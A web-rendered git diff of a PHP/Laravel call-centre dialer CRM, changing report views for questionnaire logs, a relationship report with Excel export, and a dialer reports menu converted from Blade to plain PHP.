| 75 | $col = 0; | ||
| 76 | |||
| 77 | if($urr->auth_question!='') | ||
| 78 | { | ||
| 79 | $urr->auth_question = (array)json_decode($urr->auth_question); | ||
| 80 | } | ||
| 81 | |||
| 82 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 83 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 84 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $uarr->$reporthead[$head]); | ||
| 85 | } | ||
| 86 | } | ||
| 87 | |||
| 88 | |||
| 89 | header('Content-Type: application/vnd.ms-excel'); | ||
| 90 | header('Content-Disposition: attachment;filename="QAireLog.xls"'); | ||
| 91 | header('Cache-Control: max-age=0'); | ||
| 92 | |||
| 93 | $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, $inputFileType); | ||
| 94 | $objWriter->save('php://output'); | ||
| 95 | |||
| 96 | return ; | ||
| 97 | } | ||
| 98 | |||
| 99 | ?> | ||
| 100 | |||
| 101 | |||
| 102 | <div class=innerAll> | ||
| 103 | |||
| 104 | |||
| 105 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 106 | <script> | ||
| 107 | $(document).ready(function() | ||
| 108 | { | ||
| 109 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 110 | { | ||
| 111 | $('#dialoglog').dialog({ | ||
| 112 | autoOpen: false, | ||
| 113 | width: '70%', | ||
| 114 | buttons: { | ||
| 115 | "Ok": function() { | ||
| 116 | $(this).dialog("close"); | ||
| 117 | }, | ||
| 118 | "Cancel": function() { | ||
| 119 | $(this).dialog("close"); | ||
| 120 | } | ||
| 121 | } | ||
| 122 | }); | ||
| 123 | } | ||
| 124 | |||
| 125 | waitKeyUpRun("filter",function() { filter2(document.getElementById('filter'), 'logtable') },"2000"); | ||
| 126 | $('#modfrom').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 127 | |||
| 128 | $('#modto').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 129 | }); | ||
| 130 | </script> | ||
| 131 | <div style="float:left;width:50%"> | ||
| 132 | |||
| 133 | |||
| 134 | </div> | ||
| 135 | <div style="float:right;width:50%"> | ||
| 136 | |||
| 137 | |||
| 138 | <button class="pull-right btn btn-sm btn-default" onclick='dlAgentlogXls();return false;' title='Download' style='margin-top:-8px'><i class='fa fa-download'></i> Download</button> | ||
| 139 | |||
| 140 | </div> | ||
| 141 | <div style="clear:both"></div> | ||
| 142 | <hr> | ||
| 143 | |||
| 144 | <div class=col-md-12> | ||
| 145 | |||
| 146 | |||
| 147 | <div id=userlogschart1 style='min-height:300px;width:100%'></div> | ||
| 148 | </div> | ||
| 149 | |||
| 150 | <script> | ||
| 151 | function dlAgentlogXls() | ||
| 152 | { | ||
| 153 | window.open('dialer/questionnaire?dllogxls=1&logdate='+$("#modfrom").val());return false; | ||
| 154 | } | ||
| 155 | </script> | ||
| 156 | |||
| 157 | <div style='clear:both'></div> | ||
| 158 | |||
| 159 | <div class=col-md-12> | ||
| 160 | |||
| 161 | |||
| 162 | <div id=userlogschart2 style='min-height:300px;width:100%'></div> | ||
| 163 | |||
| 164 | </div> | ||
| 165 | |||
| 166 | |||
| 167 | |||
| 168 | <div style='clear:both'></div> | ||
| 169 | |||
| 170 | <div style='overflow:auto'> | ||
| 171 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px'> | ||
| 172 | <thead> | ||
| 173 | <?php /*echo $outhead;*/ ?> | ||
| 174 | </thead> | ||
| 175 | <?php /*echo $outstr;*/ ?> | ||
| 176 | </table> | ||
| 177 | </div> | ||
| 178 | |||
| 179 | <div id=dialoglog></div> | ||
| 180 | |||
| 181 | |||
| 182 | |||
| 183 | |||
| 184 | |||
| 185 | </div> |
File mode changed
application/resources/views/layout/module/dialer/recqc.blade.php
100755 → 100644
File mode changed
File mode changed
| ... | @@ -22,7 +22,6 @@ if($logdate < $prevlogdate) | ... | @@ -22,7 +22,6 @@ if($logdate < $prevlogdate) |
| 22 | else | 22 | else |
| 23 | { | 23 | { |
| 24 | $alist=CRMCall::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60))->where('type','!=','Inbound'); | 24 | $alist=CRMCall::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60))->where('type','!=','Inbound'); |
| 25 | |||
| 26 | } | 25 | } |
| 27 | 26 | ||
| 28 | 27 | ||
| ... | @@ -71,14 +70,30 @@ $actionarr=array();$actionarrIn=array(); | ... | @@ -71,14 +70,30 @@ $actionarr=array();$actionarrIn=array(); |
| 71 | 70 | ||
| 72 | 71 | ||
| 73 | */ | 72 | */ |
| 73 | $callarraid=''; | ||
| 74 | $crm_id=''; | ||
| 75 | foreach($alist as $aline) | ||
| 76 | { | ||
| 77 | if($aline->crm_id>0)$crm_id.=$aline->crm_id.","; | ||
| 78 | } | ||
| 79 | $crm_id=substr($crm_id,0,-1); | ||
| 80 | $crm_id=explode(",", $crm_id); | ||
| 81 | $clientcodearr=DB::table('records')->select('clientcode','id','currentstatus','legalstatus')->whereIn('id',$crm_id)->get(); | ||
| 82 | foreach ($clientcodearr as $clientid) | ||
| 83 | { | ||
| 84 | $clientcodeval[$clientid->id]=$clientid->clientcode; | ||
| 85 | } | ||
| 86 | |||
| 74 | if(Input::has("dllogxls")) | 87 | if(Input::has("dllogxls")) |
| 75 | { | 88 | { |
| 89 | |||
| 76 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); | 90 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); |
| 77 | 91 | ||
| 92 | |||
| 78 | $inputFileType = "Excel5"; | 93 | $inputFileType = "Excel5"; |
| 79 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); | 94 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); |
| 80 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); | 95 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); |
| 81 | $baseRow = 1; | 96 | $baseRow = 3; |
| 82 | 97 | ||
| 83 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 98 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 84 | $fieldsarr[$tcol++]='#'; | 99 | $fieldsarr[$tcol++]='#'; |
| ... | @@ -96,21 +111,14 @@ if(Input::has("dllogxls")) | ... | @@ -96,21 +111,14 @@ if(Input::has("dllogxls")) |
| 96 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $fieldsarr[$head]); | 111 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $fieldsarr[$head]); |
| 97 | } | 112 | } |
| 98 | 113 | ||
| 99 | $ii=1; | 114 | $ii=1; |
| 100 | foreach($alist as $aline) | 115 | foreach($alist as $aline) |
| 101 | { | 116 | { |
| 102 | $row = $baseRow++; | 117 | //$row = $baseRow++; |
| 103 | $col = 0; | 118 | $col = 0; |
| 104 | 119 | ||
| 105 | 120 | ||
| 106 | $clientcode="";$currentstatus="";$legalstatus=""; | 121 | $clientcode=""; |
| 107 | if($aline->crm_id>0) | ||
| 108 | { | ||
| 109 | $user=$wakka->getPerson($aline->crm_id); | ||
| 110 | $clientcode=$user["peopledata"]["clientcode"]; | ||
| 111 | $currentstatus=$user["peopledata"]["currentstatus"]; | ||
| 112 | $legalstatus=$user["peopledata"]["legalstatus"]; | ||
| 113 | } | ||
| 114 | $tpostdata=json_decode($aline->data,true); | 122 | $tpostdata=json_decode($aline->data,true); |
| 115 | $fulldate=date("Y-m-d H:i:s",strtotime($aline->created_at)-($dashboarduser->timezone*60)); | 123 | $fulldate=date("Y-m-d H:i:s",strtotime($aline->created_at)-($dashboarduser->timezone*60)); |
| 116 | if(!isset($userarr[$aline->user_id])&&$aline->user_id>0)$userarr[$aline->user_id]=User::find($aline->user_id); | 124 | if(!isset($userarr[$aline->user_id])&&$aline->user_id>0)$userarr[$aline->user_id]=User::find($aline->user_id); |
| ... | @@ -125,9 +133,18 @@ foreach($alist as $aline) | ... | @@ -125,9 +133,18 @@ foreach($alist as $aline) |
| 125 | { | 133 | { |
| 126 | foreach ($userdata as $key=>$val) | 134 | foreach ($userdata as $key=>$val) |
| 127 | { | 135 | { |
| 136 | |||
| 137 | if($val!="") | ||
| 138 | { | ||
| 128 | $row = $baseRow++; | 139 | $row = $baseRow++; |
| 129 | $col=0; | 140 | $col=0; |
| 130 | 141 | $clientcode=""; | |
| 142 | if($aline->crm_id>0) | ||
| 143 | { | ||
| 144 | //$user=$wakka->getPerson($aline->crm_id); | ||
| 145 | //$clientcode=$user["peopledata"]["clientcode"]; | ||
| 146 | $clientcode=$clientcodeval[$aline->crm_id]; | ||
| 147 | } | ||
| 131 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($ii++); | 148 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($ii++); |
| 132 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($fulldate); | 149 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($fulldate); |
| 133 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($username); | 150 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($username); |
| ... | @@ -135,6 +152,8 @@ foreach($alist as $aline) | ... | @@ -135,6 +152,8 @@ foreach($alist as $aline) |
| 135 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($clientcode); | 152 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($clientcode); |
| 136 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($val); | 153 | $objPHPExcel->getActiveSheet()->getCellByColumnAndRow($col++,$row)->setValueExplicit($val); |
| 137 | } | 154 | } |
| 155 | |||
| 156 | } | ||
| 138 | } | 157 | } |
| 139 | 158 | ||
| 140 | } | 159 | } |
| ... | @@ -160,8 +179,9 @@ foreach($alist as $aline) | ... | @@ -160,8 +179,9 @@ foreach($alist as $aline) |
| 160 | 179 | ||
| 161 | if($aline->crm_id>0) | 180 | if($aline->crm_id>0) |
| 162 | { | 181 | { |
| 163 | $user=$wakka->getPerson($aline->crm_id); | 182 | //$user=$wakka->getPerson($aline->crm_id); |
| 164 | $clientcode=$user["peopledata"]["clientcode"]; | 183 | //$clientcode=$user["peopledata"]["clientcode"]; |
| 184 | $clientcode=$clientcodeval[$aline->crm_id]; | ||
| 165 | } | 185 | } |
| 166 | $tpostdata=json_decode($aline->data,true); | 186 | $tpostdata=json_decode($aline->data,true); |
| 167 | $fulldate=date("Y-m-d H:i:s",strtotime($aline->created_at)-($dashboarduser->timezone*60)); | 187 | $fulldate=date("Y-m-d H:i:s",strtotime($aline->created_at)-($dashboarduser->timezone*60)); |
| ... | @@ -175,6 +195,8 @@ foreach($alist as $aline) | ... | @@ -175,6 +195,8 @@ foreach($alist as $aline) |
| 175 | if(!empty($userdata)){ | 195 | if(!empty($userdata)){ |
| 176 | foreach ($userdata as $key=>$val) | 196 | foreach ($userdata as $key=>$val) |
| 177 | { | 197 | { |
| 198 | if($val!="") | ||
| 199 | { | ||
| 178 | $outstr.="<tr><td>".$i++."</td> | 200 | $outstr.="<tr><td>".$i++."</td> |
| 179 | <td title='$fulldate'>".explode(" ",$fulldate)[0]."</td> | 201 | <td title='$fulldate'>".explode(" ",$fulldate)[0]."</td> |
| 180 | <td>".$username."</td> | 202 | <td>".$username."</td> |
| ... | @@ -183,8 +205,10 @@ foreach($alist as $aline) | ... | @@ -183,8 +205,10 @@ foreach($alist as $aline) |
| 183 | <td>$val</td> | 205 | <td>$val</td> |
| 184 | </tr>"; | 206 | </tr>"; |
| 185 | } | 207 | } |
| 208 | |||
| 209 | } | ||
| 186 | } | 210 | } |
| 187 | else | 211 | /*else |
| 188 | { | 212 | { |
| 189 | $outstr.="<tr><td>".$i++."</td> | 213 | $outstr.="<tr><td>".$i++."</td> |
| 190 | <td title='$fulldate'>".explode(" ",$fulldate)[0]."</td> | 214 | <td title='$fulldate'>".explode(" ",$fulldate)[0]."</td> |
| ... | @@ -193,7 +217,7 @@ foreach($alist as $aline) | ... | @@ -193,7 +217,7 @@ foreach($alist as $aline) |
| 193 | <td>$clientcode</td> | 217 | <td>$clientcode</td> |
| 194 | <td></td> | 218 | <td></td> |
| 195 | </tr>"; | 219 | </tr>"; |
| 196 | } | 220 | }*/ |
| 197 | } | 221 | } |
| 198 | ?> | 222 | ?> |
| 199 | 223 | ||
| ... | @@ -294,12 +318,9 @@ foreach($alist as $aline) | ... | @@ -294,12 +318,9 @@ foreach($alist as $aline) |
| 294 | { | 318 | { |
| 295 | var sortstr='';if(sortby!="")sortstr="&sort="+sortby | 319 | var sortstr='';if(sortby!="")sortstr="&sort="+sortby |
| 296 | 320 | ||
| 297 | doAjax('dialer/calllog?logdate='+$("#modfrom").val()+sortstr,'','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | 321 | doAjax('dialer/relationshipreport?logdate='+$("#modfrom").val()+sortstr,'','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); |
| 298 | } | ||
| 299 | function getCallRec(id) | ||
| 300 | { | ||
| 301 | doAjax("dialer/calllog","getCallRec=1&calllog="+id,'recspan_'+id,'rec_ajax','singlefail','GET'); | ||
| 302 | } | 322 | } |
| 323 | |||
| 303 | function dlCalllogXls() | 324 | function dlCalllogXls() |
| 304 | { | 325 | { |
| 305 | window.open('dialer/relationshipreport?dllogxls=1&logdate='+$("#modfrom").val());return false; | 326 | window.open('dialer/relationshipreport?dllogxls=1&logdate='+$("#modfrom").val());return false; | ... | ... |
File mode changed
| 1 | <div class="layout-app"> | 1 | <div class="layout-app"><!-- row-app --> |
| 2 | <div class="row row-app"> | 2 | <div class="row row-app"> |
| 3 | |||
| 4 | <!-- col --> | ||
| 3 | <div class="col-md-2 col-sm-3"> | 5 | <div class="col-md-2 col-sm-3"> |
| 6 | |||
| 7 | <!-- col-separator --> | ||
| 4 | <div class="col-separator col-separator-first box col-unscrollable"> | 8 | <div class="col-separator col-separator-first box col-unscrollable"> |
| 9 | |||
| 10 | <!-- col-table --> | ||
| 5 | <div class="col-table" style='padding-left: 13px;padding-right: 13px;'> | 11 | <div class="col-table" style='padding-left: 13px;padding-right: 13px;'> |
| 12 | |||
| 6 | <h4 class="innerAll margin-none border-bottom" style='background: #fff;'>Dialer Reports</h4> | 13 | <h4 class="innerAll margin-none border-bottom" style='background: #fff;'>Dialer Reports</h4> |
| 14 | |||
| 15 | <!-- col-table-row --> | ||
| 7 | <div class="col-table-row"> | 16 | <div class="col-table-row"> |
| 17 | |||
| 18 | <!-- col-app --> | ||
| 8 | <div class="col-app col-unscrollable"> | 19 | <div class="col-app col-unscrollable"> |
| 20 | |||
| 21 | <!-- col-app --> | ||
| 9 | <div class="col-app"> | 22 | <div class="col-app"> |
| 23 | |||
| 10 | <ul class="list-group list-group-1 margin-none borders-none" style='padding-right: 26px;'> | 24 | <ul class="list-group list-group-1 margin-none borders-none" style='padding-right: 26px;'> |
| 11 | 25 | ||
| 12 | @if(Auth::user()->moduleACL("Dialer",true,true,true)) | 26 | <?php if(Auth::user()->moduleACL("Dialer",true,true,true)){ ?> |
| 13 | <li class="list-group-item"> | 27 | <li class="list-group-item"> |
| 14 | <a href="#" onclick="doAjax('dialer/liveusers','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 28 | <a href="#" onclick="doAjax('dialer/liveusers','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Live</a> |
| 15 | <i class="fa fa-circle-o"></i> Live | ||
| 16 | </a> | ||
| 17 | </li> | 29 | </li> |
| 18 | @endif | 30 | <?php } ?> |
| 19 | 31 | ||
| 20 | <li class="list-group-item"> | 32 | <li class="list-group-item"> |
| 21 | <a href="#" onclick="doAjax('dialer/calllog','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 33 | <a href="#" onclick="doAjax('dialer/calllog','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Call</a> |
| 22 | <i class="fa fa-circle-o"></i> Call | ||
| 23 | </a> | ||
| 24 | </li> | 34 | </li> |
| 25 | <li class="list-group-item"> | 35 | <li class="list-group-item"> |
| 26 | <a href="#" onclick="doAjax('dialer/agenttime','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 36 | <a href="#" onclick="doAjax('dialer/agenttime','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Login</a> |
| 27 | <i class="fa fa-circle-o"></i> Login | 37 | </li> |
| 28 | </a> | 38 | <li class="list-group-item"> |
| 39 | <a href="#" onclick="doAjax('dialer/campreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Time</a> | ||
| 29 | </li> | 40 | </li> |
| 30 | <!-- <li class="list-group-item"> | ||
| 31 | <a href="#" onclick="doAjax('dialer/campreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | ||
| 32 | <i class="fa fa-circle-o"></i> Time | ||
| 33 | </a> | ||
| 34 | </li> --> | ||
| 35 | <li class="list-group-item"> | 41 | <li class="list-group-item"> |
| 36 | <a href="#" onclick="doAjax('dialer/statusreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 42 | <a href="#" onclick="doAjax('dialer/statusreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Status</a> |
| 37 | <i class="fa fa-circle-o"></i> Status | ||
| 38 | </a> | ||
| 39 | </li> | 43 | </li> |
| 40 | <li class="list-group-item"> | 44 | <li class="list-group-item"> |
| 41 | <a href="#" onclick="doAjax('dialer/questionnaire','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 45 | <a href="#" onclick="doAjax('dialer/questionnaire','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> CLP</a> |
| 42 | <i class="fa fa-circle-o"></i> CLP | ||
| 43 | </a> | ||
| 44 | </li> | 46 | </li> |
| 45 | 47 | ||
| 46 | @if(Auth::user()->usertype=="Supervisor" || Auth::user()->usertype=="Admin") | 48 | <?php if(Auth::user()->usertype=="Supervisor" || Auth::user()->usertype=="Admin"){ ?> |
| 47 | <li class="list-group-item"> | 49 | <li class="list-group-item"> |
| 48 | <a href="#" onclick="doAjax('dialer/callmanagement','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 50 | <a href="#" onclick="doAjax('dialer/callmanagement','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> CallManagement</a> |
| 49 | <i class="fa fa-circle-o"></i> CallManagement | ||
| 50 | </a> | ||
| 51 | </li> | 51 | </li> |
| 52 | <li class="list-group-item"> | 52 | <li class="list-group-item"> |
| 53 | <a href="#" onclick="doAjax('dialer/supmessages','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 53 | <a href="#" onclick="doAjax('dialer/supmessages','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Messages</a> |
| 54 | <i class="fa fa-circle-o"></i> Messages | ||
| 55 | </a> | ||
| 56 | </li> | 54 | </li> |
| 57 | <li class="list-group-item"> | 55 | <li class="list-group-item"> |
| 58 | <a href="#" onclick="doAjax('dialer/complaintreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 56 | <a href="#" onclick="doAjax('dialer/complaintreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Complaint</a> |
| 59 | <i class="fa fa-circle-o"></i> Complaint | ||
| 60 | </a> | ||
| 61 | </li> | 57 | </li> |
| 62 | <li class="list-group-item"> | 58 | <li class="list-group-item"> |
| 63 | <a href="#" onclick="doAjax('dialer/raicingcustomerreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 59 | <a href="#" onclick="doAjax('dialer/raicingcustomerreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i>Racing Customer</a> |
| 64 | <i class="fa fa-circle-o"></i> Racing Customer | ||
| 65 | </a> | ||
| 66 | </li> | 60 | </li> |
| 67 | <li class="list-group-item"> | 61 | <li class="list-group-item"> |
| 68 | <a href="#" onclick="doAjax('dialer/relationshipreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 62 | <a href="#" onclick="doAjax('dialer/relationshipreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i>Relationship</a> |
| 69 | <i class="fa fa-circle-o"></i> Relationship | ||
| 70 | </a> | ||
| 71 | </li> | 63 | </li> |
| 72 | <!-- <li class="list-group-item"> | 64 | <!-- <li class="list-group-item"> |
| 73 | <a href="#" onclick="doAjax('dialer/campaignreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | 65 | <a href="#" onclick="doAjax('dialer/campaignreport','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i>Campaign Wise</a> |
| 74 | <i class="fa fa-circle-o"></i> Campaign Wise | 66 | </li>--> |
| 75 | </a> | 67 | <?php } ?> |
| 76 | </li> --> | 68 | |
| 77 | @endif | 69 | |
| 70 | <?php if(Auth::user()->moduleACL("Dialer",true,true,true)){ ?> | ||
| 71 | <!-- <li class="list-group-item"> | ||
| 72 | <a href="#" onclick="doAjax('dialer/recarchive','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"><i class="fa fa-circle-o"></i> Recordings</a> | ||
| 73 | </li>--> | ||
| 74 | <?php } ?> | ||
| 75 | |||
| 78 | 76 | ||
| 79 | @if(Auth::user()->moduleACL("Dialer",true,true,true)) | ||
| 80 | <!-- <li class="list-group-item"> | ||
| 81 | <a href="#" onclick="doAjax('dialer/recarchive','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET');return false"> | ||
| 82 | <i class="fa fa-circle-o"></i> Recordings | ||
| 83 | </a> | ||
| 84 | </li> --> | ||
| 85 | @endif | ||
| 86 | </ul> | 77 | </ul> |
| 78 | |||
| 79 | |||
| 87 | </div> | 80 | </div> |
| 81 | <!-- // END col-app --> | ||
| 82 | |||
| 88 | </div> | 83 | </div> |
| 84 | <!-- // END col-app --> | ||
| 85 | |||
| 89 | </div> | 86 | </div> |
| 87 | <!-- // END col-table-row --> | ||
| 88 | |||
| 90 | </div> | 89 | </div> |
| 90 | <!-- // END col-table --> | ||
| 91 | |||
| 91 | </div> | 92 | </div> |
| 93 | <!-- // END col-separator.box --> | ||
| 94 | |||
| 92 | </div> | 95 | </div> |
| 96 | <!-- // END col --> | ||
| 97 | |||
| 98 | <!-- col --> | ||
| 93 | <div class="col-md-10 col-sm-9" style='border-right:13px solid #eaeaea'> | 99 | <div class="col-md-10 col-sm-9" style='border-right:13px solid #eaeaea'> |
| 100 | |||
| 101 | <!-- col-separator.box --> | ||
| 94 | <div class="col-separator col-unscrollable box"> | 102 | <div class="col-separator col-unscrollable box"> |
| 103 | |||
| 104 | <!-- col-table --> | ||
| 95 | <div class="col-table"> | 105 | <div class="col-table"> |
| 96 | <!-- <h4 class="innerAll margin-none border-bottom">My Sessions</h4> --> | 106 | |
| 107 | <!-- <h4 class="innerAll margin-none border-bottom">My Sessions</h4> --> | ||
| 108 | |||
| 109 | <!-- col-table-row --> | ||
| 97 | <div class="col-table-row" style='background: #fff;'> | 110 | <div class="col-table-row" style='background: #fff;'> |
| 111 | |||
| 112 | <!-- col-app --> | ||
| 98 | <div class="col-app col-unscrollable"> | 113 | <div class="col-app col-unscrollable"> |
| 114 | |||
| 115 | <!-- col-app --> | ||
| 99 | <div class="col-app" style='position:relative'> | 116 | <div class="col-app" style='position:relative'> |
| 117 | |||
| 100 | <div class="" id=rightmainreportdiv> | 118 | <div class="" id=rightmainreportdiv> |
| 101 | <script> | 119 | <script> |
| 102 | @if(Auth::user()->moduleACL("Dialer",true,true,true)) | 120 | <?php if(Auth::user()->moduleACL("Dialer",true,true,true)){ ?> |
| 103 | doAjax('dialer/liveusers','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | 121 | doAjax('dialer/liveusers','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); |
| 104 | @else | 122 | <?php }else { ?> |
| 105 | doAjax('dialer/calllog','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | 123 | doAjax('dialer/calllog','','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); |
| 106 | @endif | 124 | <?php } ?> |
| 107 | </script> | 125 | </script> |
| 108 | </div> | 126 | </div> |
| 127 | |||
| 109 | </div> | 128 | </div> |
| 129 | <!-- // END col-app --> | ||
| 130 | |||
| 110 | </div> | 131 | </div> |
| 132 | <!-- // END col-app.col-unscrollable --> | ||
| 133 | |||
| 111 | </div> | 134 | </div> |
| 135 | <!-- // END col-table-row --> | ||
| 136 | |||
| 112 | </div> | 137 | </div> |
| 138 | <!-- // END col-table --> | ||
| 139 | |||
| 113 | </div> | 140 | </div> |
| 141 | <!-- // END col-separator.box --> | ||
| 142 | |||
| 114 | </div> | 143 | </div> |
| 115 | </div> | 144 | <!-- // END col --> |
| 145 | |||
| 116 | </div> | 146 | </div> |
| 147 | <!-- // END row-app --> | ||
| 148 | |||
| 149 | |||
| 150 | |||
| 151 | |||
| 152 | </div> | ... | ... |
File mode changed
File mode changed
File mode changed
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\User; | ||
| 4 | use App\Jobs\KHRMSLib; | ||
| 5 | |||
| 6 | $wakka = new KHRMSLib(); | ||
| 7 | $dashboarduser=Auth::user(); | ||
| 8 | |||
| 9 | if(isset($_GET['logdate']))$logdate=strtotime($_GET['logdate']." 00:00:00"); | ||
| 10 | else $logdate=strtotime(date('Y-m-d')." 00:00:00"); | ||
| 11 | |||
| 12 | $alist=CRMCall::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); | ||
| 13 | |||
| 14 | //if(!$dashboarduser->moduleACL("Dialer",false,false,true)) | ||
| 15 | if($dashboarduser->usertype != 'Admin') | ||
| 16 | { | ||
| 17 | $uidlist=array($dashboarduser->id); | ||
| 18 | $allusers=User::where(function ($query) use($dashboarduser) { | ||
| 19 | $query->where('supervisor','=',$dashboarduser->username) | ||
| 20 | ->orWhere('lteam2','=',$dashboarduser->username) | ||
| 21 | ->orWhere('lteam','=',$dashboarduser->username); | ||
| 22 | })->get(); | ||
| 23 | // ->where(function ($query) { | ||
| 24 | // $query->where('status', '=', 'Active'); | ||
| 25 | // })->get(); | ||
| 26 | |||
| 27 | foreach($allusers as $tuser)$uidlist[]=$tuser->id; | ||
| 28 | |||
| 29 | |||
| 30 | $roclientstr=array();$didlinesstr=array(); | ||
| 31 | if($dashboarduser->exten!="")$didlinesstr[]=$dashboarduser->exten; | ||
| 32 | $oclientlst=$wakka->clientsReadAccess(); | ||
| 33 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 34 | { | ||
| 35 | $roclientstr[]="$tclnt"; | ||
| 36 | |||
| 37 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 38 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 39 | } | ||
| 40 | |||
| 41 | $alist=$alist->where(function ($query) use($roclientstr,$uidlist,$didlinesstr){ | ||
| 42 | $query->orWhereIn('client',$roclientstr) | ||
| 43 | ->orWhereIn('user_id',$uidlist) | ||
| 44 | ->orWhereIn('did',$didlinesstr); | ||
| 45 | }); | ||
| 46 | |||
| 47 | } | ||
| 48 | |||
| 49 | $alist=$alist->get(); | ||
| 50 | |||
| 51 | $userarr=array();$i=1; | ||
| 52 | $reporthead=array("id","created_at","updated_at","user_id","cust_id","call_id","name","number","question_time","question","primary_question","primary_response","primary_text","followup1_question","followup1_response","followup1_text","followup2_question","followup2_response","followup2_text","followup3_question","followup3_response","followup3_text","followup4_question","followup4_response","followup4_text","followup5_question","followup5_response","followup5_text","followup6_question","followup6_response","followup6_text","followup7_question","followup7_response","followup7_text"); | ||
| 53 | $reportarray=DB::table('questionaire_details')->select('*')->get(); | ||
| 54 | |||
| 55 | if(Input::has("dllogxls")) | ||
| 56 | { | ||
| 57 | |||
| 58 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); | ||
| 59 | |||
| 60 | $inputFileType = "Excel5"; | ||
| 61 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); | ||
| 62 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); | ||
| 63 | $baseRow = 2; | ||
| 64 | |||
| 65 | |||
| 66 | $highestColumn = sizeof($reporthead); | ||
| 67 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 68 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 69 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $reporthead[$head]); | ||
| 70 | } | ||
